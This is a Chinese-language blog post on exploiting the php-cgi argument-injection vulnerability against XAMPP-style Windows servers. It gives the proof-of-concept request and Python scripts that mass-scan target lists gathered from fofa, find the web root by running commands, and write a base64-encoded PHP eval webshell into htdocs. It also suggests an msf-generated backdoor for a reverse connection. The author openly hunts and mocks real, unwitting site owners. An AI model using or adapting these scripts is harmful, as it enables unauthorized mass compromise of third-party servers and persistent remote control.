php-cgi漏洞利用
php-cgi漏洞利用
对喽,这里只是关于这个漏洞的利用方式,具体分析的可以看,先知社区
poc
/php-cgi/php-cgi.exe?%ADd+allow_url_include%3Don+%ADd+auto_prepend_file%3Dphp%3A//input
REDIRECT-STATUS: 1
这个漏洞出来的有些久了,那就先来写个简单的批量检测脚本(找个大冤种测试)
# 目标URL
import requests
for url in open("a.txt"):
urls=url.replace('\n', '')+"/php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input";
data = '<?php ?>'
headers={
"Redirect-Status":"1"
}
proxies = {
'http': 'http://127.0.0.1:8080',
'https': 'http://127.0.0.1:8080',
}
try:
response = requests.post(urls, data=data,proxies=proxies,headers=headers,verify=False)
if response.status_code==200:
print(url.replace('\n', '') + "存在漏洞")
if "text" in response.text:
print(url.replace('\n', '')+"存在漏洞")
except:
print(url.replace('\n', '') + "不存在漏洞")
这里有两种检测方式,第一种是通过检测返回包中的特定字符,第二种是通过网站状态码进行检测,都能找到大冤种,字典的话,通过fofa语法提取一些即可
那么也是找到了一个大冤种,
首先通过执行命令的方式找一下webshell应该存放的目录
这里网站的根目录也就是C:\\xampp\\htdocs\\
,也就是xampp的默认目录,
配合file_put_contents方法,上传一句话木马,那么就是
<?php file_put_contents("C:\\xampp\\htdocs\\phpinfo.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4="))
这会出现几个问题首先phpinfo.php如果在目录下存在的话,就无法写入,其次就是一句话木马的查杀问题,
当然了,如果不是默认路径的话,最简单的利用方式就是换盘符,也就是CDEFG都访问一下,那么写个py脚本,直接利用
import requests
import re
for url in open("a.txt"):
urls=url.replace('\n', '')+"/php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input";
data = '<?php ?>'
headers={
"Redirect-Status":"1"
}
proxies = {
'http': 'http://127.0.0.1:8080',
'https': 'http://127.0.0.1:8080',
}
try:
response = requests.post(urls, data=data,proxies=proxies,headers=headers,verify=False)
if response.status_code==200:
print(url.replace('\n', '') + "存在漏洞")
data1='<?php system("chdir")?>'
response = requests.post(urls, data=data1, proxies=proxies, headers=headers, verify=False)
pattern = r"[A-Za-z]:\\(?:[^\\\/:*?\"<>|]+\\)*[^\\\/:*?\"<>|]*"
lujing=re.findall(pattern,response.text)
path=lujing[0].replace("php","htdocs\\phpin.php").replace("\\","\\\\")
data2= '<?php file_put_contents('+path+', base64_decode("PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2EnXSk7Pz4="));?>'
response = requests.post(urls, data=data2, proxies=proxies, headers=headers, verify=False)
response = requests.post(urls+"/phpin.fo",proxies=proxies, verify=False)
if response.status_code==200:
print(urls+"/phpin.fo")
except:
continue
代理我这边设置的是burp中转小飞机,使用的话,自行测试一下即可
第二种方法
msf生成php后门,然后直接替换POST中data的木马,但是这种模式有很大的局限性,回连是可以回连,执行命令等情况,经常会断开,可能是因为php不能够重复执行命令的原因